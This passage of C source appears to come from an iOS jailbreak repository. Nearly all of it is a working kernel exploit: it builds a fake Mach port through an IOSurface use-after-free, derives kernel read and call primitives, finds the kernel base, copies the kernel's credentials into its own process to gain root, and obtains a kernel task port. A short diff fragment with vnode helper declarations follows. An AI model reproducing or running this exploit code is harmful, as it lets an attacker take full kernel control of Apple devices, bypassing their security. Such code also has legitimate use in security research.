goto out;
}
}
LOG("port: %x", port);
ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND);
LOG("mach_port_insert_right: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
#pragma pack(4)
typedef struct {
mach_msg_base_t base;
mach_msg_ool_ports_descriptor_t desc[2];
} StuffMsg;
#pragma pack()
StuffMsg msg;
msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
msg.base.header.msgh_remote_port = stuffport;
msg.base.header.msgh_local_port = MACH_PORT_NULL;
msg.base.header.msgh_id = 1234;
msg.base.header.msgh_reserved = 0;
msg.base.body.msgh_descriptor_count = 2;
msg.desc[0].address = before;
msg.desc[0].count = NUM_BEFORE;
msg.desc[0].disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.desc[0].deallocate = FALSE;
msg.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.desc[1].address = after;
msg.desc[1].count = NUM_AFTER;
msg.desc[1].disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.desc[1].deallocate = FALSE;
msg.desc[1].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
ret = mach_msg(&msg.base.header, MACH_SEND_MSG, (mach_msg_size_t)sizeof(msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
LOG("mach_msg: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
for(size_t i = 0; i < NUM_BEFORE; ++i)
{
RELEASE_PORT(before[i]);
}
for(size_t i = 0; i < NUM_AFTER; ++i)
{
RELEASE_PORT(after[i]);
}
#if 0
uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] =
{
// Some header or something
surface.data.id,
0x0,
kOSSerializeMagic,
kOSSerializeEndCollection | kOSSerializeArray | 2,
kOSSerializeString | (DATA_SIZE - 1),
};
dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4;
// ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9
// is actually 0x1000, so references to our reallocated memory may be shifted
// by (0x1000 % sizeof(kport_t))
kport_t triple_kport =
{
.ip_lock =
{
.data = 0x0,
.type = 0x11,
},
#ifdef __LP64__
.ip_messages =
{
.port =
{
.waitq =
{
.waitq_queue =
{
.next = 0x0,
.prev = 0x11,
}
},
},
},
.ip_nsrequest = 0x0,
.ip_pdrequest = 0x11,
#endif
};
for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
{
UNALIGNED_COPY(&triple_kport, ptr, sizeof(kport_t));
}
#endif
// There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod,
// which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs),
// sleep after the connect call and register again, thus releasing the reference synchronously.
ret = mach_ports_register(self, &port, 1);
LOG("mach_ports_register: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
uint64_t ref = 0;
uint64_t in[3] = { 0, 0x666, 0 };
IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL);
IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL);
LOG("%s", "herp derp");
usleep(100000);
sched_yield();
ret = mach_ports_register(self, &client, 1); // gonna use that later
if(ret != KERN_SUCCESS)
{
LOG("mach_ports_register: %s", mach_error_string(ret));
goto out;
}
// Prevent cleanup
fakeport = port;
port = MACH_PORT_NULL;
// Release port with ool port refs
RELEASE_PORT(stuffport);
ret = my_mach_zone_force_gc(host);
if(ret != KERN_SUCCESS)
{
LOG("mach_zone_force_gc: %s", mach_error_string(ret));
goto out;
}
#if 0
for(uint32_t i = 0; i < NUM_DATA; ++i)
{
dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i);
kport_t *dptr = (kport_t*)&dict[5];
for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j)
{
*(((volatile uint32_t*)&dptr[j].ip_context) + 1) = 0x10000000 | (j << 20) | i;
#ifdef __LP64__
*(volatile uint32_t*)&dptr[j].ip_messages.port.pad = 0x20000000 | (j << 20) | i;
*(volatile uint32_t*)&dptr[j].ip_lock.pad = 0x30000000 | (j << 20) | i;
#endif
}
uint32_t dummy = 0;
size = sizeof(dummy);
ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);
if(ret != KERN_SUCCESS)
{
LOG("setValue(%u): %s", i, mach_error_string(ret));
goto out;
}
}
#endif
dummy = 0;
size = sizeof(dummy);
ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_big, dictsz_big, &dummy, &size);
if(ret != KERN_SUCCESS)
{
LOG("setValue(big): %s", mach_error_string(ret));
goto out;
}
uint64_t ctx = 0xffffffff;
ret = my_mach_port_get_context(self, fakeport, &ctx);
LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
uint32_t shift_mask = ctx >> 60;
if(shift_mask < 1 || shift_mask > 3)
{
LOG("%s", "Invalid shift mask.");
goto out;
}
#if 0
uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t));
#endif
uint32_t ins = ((shift_mask - 1) * pagesize) % sizeof(kport_t),
idx = (ctx >> 32) & 0xfffff,
iff = (ctx >> 52) & 0xff;
int64_t fp_off = sizeof(kport_t) * iff - ins;
if(fp_off < 0)
{
--idx;
fp_off += pagesize;
}
uint64_t fakeport_off = (uint64_t)fp_off;
LOG("fakeport offset: 0x%llx", fakeport_off);
#if 0
dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx);
#endif
uint32_t request[] =
{
// Same header
surface.data.id,
0x0,
#if 0
transpose(idx), // Key
#endif
0x0, // Placeholder
0x0, // Null terminator
};
kport_t kport;
VOLATILE_BZERO32(&kport, sizeof(kport));
kport.ip_bits = 0x80000000; // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE
kport.ip_references = 100;
kport.ip_lock.type = 0x11;
kport.ip_messages.port.receiver_name = 1;
kport.ip_messages.port.msgcount = MACH_PORT_QLIMIT_KERNEL;
kport.ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL;
kport.ip_srights = 99;
#if 0
// Note to self: must be `(uintptr_t)&dict[5] + DATA_SIZE` and not `ptr + DATA_SIZE`.
for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
{
UNALIGNED_COPY(&kport, ptr, sizeof(kport_t));
}
#endif
ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small);
LOG("reallocate_fakeport: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
// Register realport on fakeport
mach_port_t notify = MACH_PORT_NULL;
ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify);
LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
#if 0
uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 };
size = sizeof(response);
ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);
LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
if(size < DATA_SIZE + 0x10)
{
LOG("Response too short.");
goto out;
}
#endif
kport_t myport;
VOLATILE_BZERO32(&myport, sizeof(myport));
ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport);
if(ret != KERN_SUCCESS)
{
goto out;
}
#if 0
uint32_t fakeport_off = -1;
kptr_t realport_addr = 0;
for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
{
kptr_t val = UNALIGNED_KPTR_DEREF(&((kport_t*)ptr)->ip_pdrequest);
if(val)
{
fakeport_off = ptr - (uintptr_t)&response[4];
realport_addr = val;
break;
}
}
#endif
kptr_t realport_addr = myport.ip_pdrequest;
if(!realport_addr)
{
LOG("%s", "Failed to leak realport address");
goto out;
}
//LOG("realport addr: " ADDR, realport_addr);
#if 0
uintptr_t fakeport_dictbuf = (uintptr_t)&dict[5] + fakeport_off;
#endif
// Register fakeport on itself (and clean ref on realport)
notify = MACH_PORT_NULL;
ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify);
LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
#if 0
size = sizeof(response);
ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);
LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
if(size < DATA_SIZE + 0x10)
{
LOG("Response too short.");
goto out;
}
kptr_t fakeport_addr = UNALIGNED_KPTR_DEREF(&((kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest);
#endif
ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport);
if(ret != KERN_SUCCESS)
{
goto out;
}
kptr_t fakeport_addr = myport.ip_pdrequest;
if(!fakeport_addr)
{
LOG("%s", "Failed to leak fakeport address");
goto out;
}
LOG("fakeport addr: " ADDR, fakeport_addr);
kptr_t fake_addr = fakeport_addr - fakeport_off;
kport_request_t kreq =
{
.notify =
{
.port = 0,
}
};
kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq);
#if 0
UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport));
ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
LOG("reallocate_buf: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
#endif
ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small);
LOG("reallocate_fakeport: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
#define KREAD(addr, buf, len) \
do \
{ \
for(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
{ \
ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \
if(ret != KERN_SUCCESS) \
{ \
LOG("mach_port_set_context: %s", mach_error_string(ret)); \
goto out; \
} \
mach_msg_type_number_t outsz = 1; \
ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \
if(ret != KERN_SUCCESS) \
{ \
LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \
goto out; \
} \
} \
} while(0)
kptr_t itk_space = 0;
KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space));
LOG("itk_space: " ADDR, itk_space);
if(!itk_space)
{
goto out;
}
kptr_t self_task = 0;
KREAD(itk_space + off->ipc_space_is_task, &self_task, sizeof(self_task));
LOG("self_task: " ADDR, self_task);
if(!self_task)
{
goto out;
}
kptr_t IOSurfaceRootUserClient_port = 0;
KREAD(self_task + off->task_itk_registered, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port));
LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port);
if(!IOSurfaceRootUserClient_port)
{
goto out;
}
kptr_t IOSurfaceRootUserClient_addr = 0;
KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr));
LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr);
if(!IOSurfaceRootUserClient_addr)
{
goto out;
}
kptr_t IOSurfaceRootUserClient_vtab = 0;
KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab));
LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab);
if(!IOSurfaceRootUserClient_vtab)
{
goto out;
}
// Unregister IOSurfaceRootUserClient port
ret = mach_ports_register(self, NULL, 0);
LOG("mach_ports_register: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
kptr_t vtab[VTAB_SIZE] = { 0 };
KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab));
kptr_t kbase = (vtab[off->vtab_get_retain_count] & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET;
for(uint32_t magic = 0; 1; kbase -= KERNEL_SLIDE_STEP)
{
KREAD(kbase, &magic, sizeof(magic));
if(magic == KERNEL_MAGIC)
{
break;
}
}
LOG("Kernel base: " ADDR, kbase);
#define OFF(name) (off->name + (kbase - off->base))
kptr_t zone_map_addr = 0;
KREAD(OFF(zone_map), &zone_map_addr, sizeof(zone_map_addr));
LOG("zone_map: " ADDR, zone_map_addr);
if(!zone_map_addr)
{
goto out;
}
#ifdef __LP64__
vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_x0_x0_0x10);
#else
vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_r0_r0_0xc);
#endif
uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? UINT64_ALIGN_UP(fakeport_off + sizeof(kport_t)) : UINT64_ALIGN_DOWN(fakeport_off - sizeof(ktask_t));
void* faketask_buf = (void*)((uintptr_t)&dict_small[9] + faketask_off);
ktask_t ktask;
VOLATILE_BZERO32(&ktask, sizeof(ktask));
ktask.a.lock.data = 0x0;
ktask.a.lock.type = 0x22;
ktask.a.ref_count = 100;
ktask.a.active = 1;
ktask.a.map = zone_map_addr;
ktask.b.itk_self = 1;
#if 0
UNALIGNED_COPY(&ktask, faketask_buf, sizeof(ktask));
#endif
VOLATILE_BCOPY32(&ktask, faketask_buf, sizeof(ktask));
kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
kport.ip_kobject = fake_addr + faketask_off;
kport.ip_requests = 0;
kport.ip_context = 0;
#if 0
UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport));
#endif
if(fakeport_off + sizeof(kport_t) > pagesize)
{
size_t sz = pagesize - fakeport_off;
VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sz);
VOLATILE_BCOPY32((void*)((uintptr_t)&kport + sz), &dict_small[9], sizeof(kport) - sz);
}
else
{
VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sizeof(kport));
}
#undef KREAD
#if 0
ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
LOG("reallocate_buf: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
#endif
shmemsz = pagesize;
dict_small[6] = transpose(idx);
ret = reallocate_buf(client, surface.data.id, idx, dict_small, dictsz_small);
LOG("reallocate_buf: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
if(fakeport_off + sizeof(kport_t) > pagesize)
{
shmemsz *= 2;
dict_small[6] = transpose(idx + 1);
ret = reallocate_buf(client, surface.data.id, idx + 1, dict_small, dictsz_small);
LOG("reallocate_buf: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
}
vm_prot_t cur = 0,
max = 0;
sched_yield();
ret = mach_vm_remap(self, &shmem_addr, shmemsz, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE);
if(ret != KERN_SUCCESS)
{
LOG("mach_vm_remap: %s", mach_error_string(ret));
goto out;
}
*(uint32_t*)shmem_addr = 123; // fault page
LOG("shmem_addr: 0x%016llx", shmem_addr);
volatile kport_t *fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off);
uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0;
vtab_off = UINT64_ALIGN_UP(vtab_off);
kptr_t vtab_addr = fake_addr + vtab_off;
LOG("vtab addr: " ADDR, vtab_addr);
volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off);
for(volatile kptr_t *src = vtab, *dst = vtab_buf, *end = src + VTAB_SIZE; src < end; *(dst++) = *(src++));
#define MAXRANGES 5
struct
{
uint32_t start;
uint32_t end;
} ranges[MAXRANGES] =
{
{ fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) },
{ vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) },
};
size_t numranges = 2;
#define FIND_RANGE(var, size) \
do \
{ \
if(numranges >= MAXRANGES) \
{ \
/*LOG("FIND_RANGE(" #var "): ranges array too small");*/ \
goto out; \
} \
for(uint32_t i = 0; i < numranges;) \
{ \
uint32_t end = var + (uint32_t)(size); \
if( \
(var >= ranges[i].start && var < ranges[i].end) || \
(end >= ranges[i].start && var < ranges[i].end) \
) \
{ \
var = UINT64_ALIGN_UP(ranges[i].end); \
i = 0; \
continue; \
} \
++i; \
} \
if(var + (uint32_t)(size) > pagesize) \
{ \
/* LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size));*/ \
goto out; \
} \
ranges[numranges].start = var; \
ranges[numranges].end = var + (uint32_t)(size); \
++numranges; \
} while(0)
typedef volatile union
{
struct {
// IOUserClient fields
kptr_t vtab;
uint32_t refs;
uint32_t pad;
// Gadget stuff
kptr_t trap_ptr;
// IOExternalTrap fields
kptr_t obj;
kptr_t func;
uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing
// OSSerializer::serialize
kptr_t indirect[3];
} a;
struct {
char pad[OFFSET_IOUSERCLIENT_IPC];
int32_t __ipc;
} b;
} kobj_t;
uint32_t fakeobj_off = 0;
FIND_RANGE(fakeobj_off, sizeof(kobj_t));
kptr_t fakeobj_addr = fake_addr + fakeobj_off;
LOG("fakeobj addr: " ADDR, fakeobj_addr);
volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off);
VOLATILE_BZERO32(fakeobj_buf, sizeof(kobj_t));
fakeobj_buf->a.vtab = vtab_addr;
fakeobj_buf->a.refs = 100;
fakeobj_buf->a.trap_ptr = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.obj - (uintptr_t)fakeobj_buf);
fakeobj_buf->a.break_stuff = 0;
fakeobj_buf->b.__ipc = 100;
fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT
fakeport_buf->ip_kobject = fakeobj_addr;
// First arg to KCALL can't be == 0, so we need KCALL_ZERO which indirects through OSSerializer::serialize.
// That way it can take way less arguments, but well, it can pass zero as first arg.
#define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \
( \
fakeobj_buf->a.obj = (kptr_t)(x0), \
fakeobj_buf->a.func = (kptr_t)(addr), \
(kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \
)
#define KCALL_ZERO(addr, x0, x1, x2) \
( \
fakeobj_buf->a.obj = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.indirect - (uintptr_t)fakeobj_buf) - 2 * sizeof(kptr_t), \
fakeobj_buf->a.func = OFF(osserializer_serialize), \
fakeobj_buf->a.indirect[0] = (x0), \
fakeobj_buf->a.indirect[1] = (x1), \
fakeobj_buf->a.indirect[2] = (addr), \
(kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x2), 0, 0, 0, 0, 0) \
)
kptr_t kernel_task_addr = 0;
int r = KCALL(OFF(copyout), OFF(kernel_task), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0);
LOG("kernel_task addr: " ADDR ", %s, %s", kernel_task_addr, errstr(r), mach_error_string(r));
if(r != 0 || !kernel_task_addr)
{
goto out;
}
kptr_t kernproc_addr = 0;
r = KCALL(OFF(copyout), kernel_task_addr + off->task_bsd_info, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0);
LOG("kernproc addr: " ADDR ", %s, %s", kernproc_addr, errstr(r), mach_error_string(r));
if(r != 0 || !kernproc_addr)
{
goto out;
}
kptr_t kern_ucred = 0;
r = KCALL(OFF(copyout), kernproc_addr + off->proc_ucred, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
LOG("kern_ucred: " ADDR ", %s, %s", kern_ucred, errstr(r), mach_error_string(r));
if(r != 0 || !kern_ucred)
{
goto out;
}
kptr_t self_proc = 0;
r = KCALL(OFF(copyout), self_task + off->task_bsd_info, &self_proc, sizeof(self_proc), 0, 0, 0, 0);
LOG("self_proc: " ADDR ", %s, %s", self_proc, errstr(r), mach_error_string(r));
if(r != 0 || !self_proc)
{
goto out;
}
kptr_t self_ucred = 0;
r = KCALL(OFF(copyout), self_proc + off->proc_ucred, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);
LOG("self_ucred: " ADDR ", %s, %s", self_ucred, errstr(r), mach_error_string(r));
if(r != 0 || !self_ucred)
{
goto out;
}
int olduid = getuid();
LOG("uid: %u", olduid);
KCALL(OFF(kauth_cred_ref), kern_ucred, 0, 0, 0, 0, 0, 0);
r = KCALL(OFF(copyin), &kern_ucred, self_proc + off->proc_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
LOG("copyin: %s", errstr(r));
if(r != 0 || !self_ucred)
{
goto out;
}
// Note: decreasing the refcount on the old cred causes a panic with "cred reference underflow", so... don't do that.
LOG("%s", "stole the kernel's credentials");
setuid(0); // update host port
int newuid = getuid();
LOG("uid: %u", newuid);
if(newuid != olduid)
{
KCALL_ZERO(OFF(chgproccnt), newuid, 1, 0);
KCALL_ZERO(OFF(chgproccnt), olduid, -1, 0);
}
host_t realhost = mach_host_self();
LOG("realhost: %x (host: %x)", realhost, host);
uint32_t zm_task_off = 0;
FIND_RANGE(zm_task_off, sizeof(ktask_t));
kptr_t zm_task_addr = fake_addr + zm_task_off;
LOG("zm_task addr: " ADDR, zm_task_addr);
volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off);
VOLATILE_BZERO32(zm_task_buf, sizeof(ktask_t));
zm_task_buf->a.lock.data = 0x0;
zm_task_buf->a.lock.type = 0x22;
zm_task_buf->a.ref_count = 100;
zm_task_buf->a.active = 1;
zm_task_buf->b.itk_self = 1;
zm_task_buf->a.map = zone_map_addr;
uint32_t km_task_off = 0;
FIND_RANGE(km_task_off, sizeof(ktask_t));
kptr_t km_task_addr = fake_addr + km_task_off;
LOG("km_task addr: " ADDR, km_task_addr);
volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off);
VOLATILE_BZERO32(km_task_buf, sizeof(ktask_t));
km_task_buf->a.lock.data = 0x0;
km_task_buf->a.lock.type = 0x22;
km_task_buf->a.ref_count = 100;
km_task_buf->a.active = 1;
km_task_buf->b.itk_self = 1;
r = KCALL(OFF(copyout), OFF(kernel_map), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0);
LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r));
if(r != 0 || !km_task_buf->a.map)
{
goto out;
}
kptr_t ipc_space_kernel = 0;
r = KCALL(OFF(copyout), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0);
LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r));
if(r != 0 || !ipc_space_kernel)
{
goto out;
}
#ifdef __LP64__
kmap_hdr_t zm_hdr = { 0 };
r = KCALL(OFF(copyout), zm_task_buf->a.map + off->vm_map_hdr, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0);
LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r));
if(r != 0 || !zm_hdr.start || !zm_hdr.end)
{
goto out;
}
if(zm_hdr.end - zm_hdr.start > 0x100000000)
{
LOG("%s", "zone_map is too big, sorry.");
goto out;
}
kptr_t zm_tmp = 0; // macro scratch space
# define ZM_FIX_ADDR(addr) \
( \
zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \
zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \
)
#else
# define ZM_FIX_ADDR(addr) (addr)
#endif
kptr_t ptrs[2] = { 0 };
ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
LOG("zm_port addr: " ADDR, ptrs[0]);
LOG("km_port addr: " ADDR, ptrs[1]);
KCALL(OFF(ipc_kobject_set), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0);
KCALL(OFF(ipc_kobject_set), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0);
r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0);
LOG("copyin: %s", errstr(r));
if(r != 0)
{
goto out;
}
mach_msg_type_number_t mapsNum = 0;
ret = mach_ports_lookup(self, &maps, &mapsNum);
LOG("mach_ports_lookup: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
LOG("zone_map port: %x", maps[0]);
LOG("kernel_map port: %x", maps[1]);
if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1]))
{
goto out;
}
// Clean out the pointers without dropping refs
ptrs[0] = ptrs[1] = 0;
r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0);
LOG("copyin: %s", errstr(r));
if(r != 0)
{
goto out;
}
mach_vm_address_t remap_addr = 0;
ret = mach_vm_remap(maps[1], &remap_addr, off->sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE);
LOG("mach_vm_remap: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
LOG("remap_addr: 0x%016llx", remap_addr);
ret = mach_vm_wire(realhost, maps[1], remap_addr, off->sizeof_task, VM_PROT_READ | VM_PROT_WRITE);
LOG("mach_vm_wire: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
LOG("newport: " ADDR, newport);
KCALL(OFF(ipc_kobject_set), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0);
KCALL(OFF(ipc_port_make_send), newport, 0, 0, 0, 0, 0, 0);
r = KCALL(OFF(copyin), &newport, OFF(realhost) + off->realhost_special + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0);
LOG("copyin: %s", errstr(r));
if(r != 0)
{
goto out;
}
task_t kernel_task = MACH_PORT_NULL;
ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task);
LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret));
if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task))
{
goto out;
}
*tfp0 = kernel_task;
*kernelbase = kbase;
retval = KERN_SUCCESS;
out:;
LOG("%s", "Cleaning up...");
usleep(100000); // Allow logs to propagate
if(maps)
{
RELEASE_PORT(maps[0]);
RELEASE_PORT(maps[1]);
}
RELEASE_PORT(fakeport);
for(size_t i = 0; i < NUM_AFTER; ++i)
{
RELEASE_PORT(after[i]);
}
RELEASE_PORT(port);
for(size_t i = 0; i < NUM_BEFORE; ++i)
{
RELEASE_PORT(before[i]);
}
RELEASE_PORT(realport);
RELEASE_PORT(stuffport);
RELEASE_PORT(client);
my_mach_zone_force_gc(host);
if(shmem_addr != 0)
{
_kernelrpc_mach_vm_deallocate_trap(self, shmem_addr, shmemsz);
shmem_addr = 0;
}
if(dict_prep)
{
free(dict_prep);
}
if(dict_big)
{
free(dict_big);
}
if(dict_small)
{
free(dict_small);
}
if(resp)
{
free(resp);
}
// Pass through error code, if existent
if(retval != KERN_SUCCESS && ret != KERN_SUCCESS)
{
retval = ret;
}
return retval;
}
+5
View File
@@ -0,0 +1,5 @@
int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context);
uint64_t get_vfs_context(void);
int vnode_put(uint64_t vnode);
int fix_vnode_for_mmap(const char* path);
+74
View File
@@ -0,0 +1,74 @@
//
// *.c
// async_wake_ios
//
// Created by George on 18/12/17.
// Copyright © 2017 Ian Beer. All rights reserved.
//
#import <stdlib.h>
#import "kernel_utils.h"
#import "patchfinder64.h"
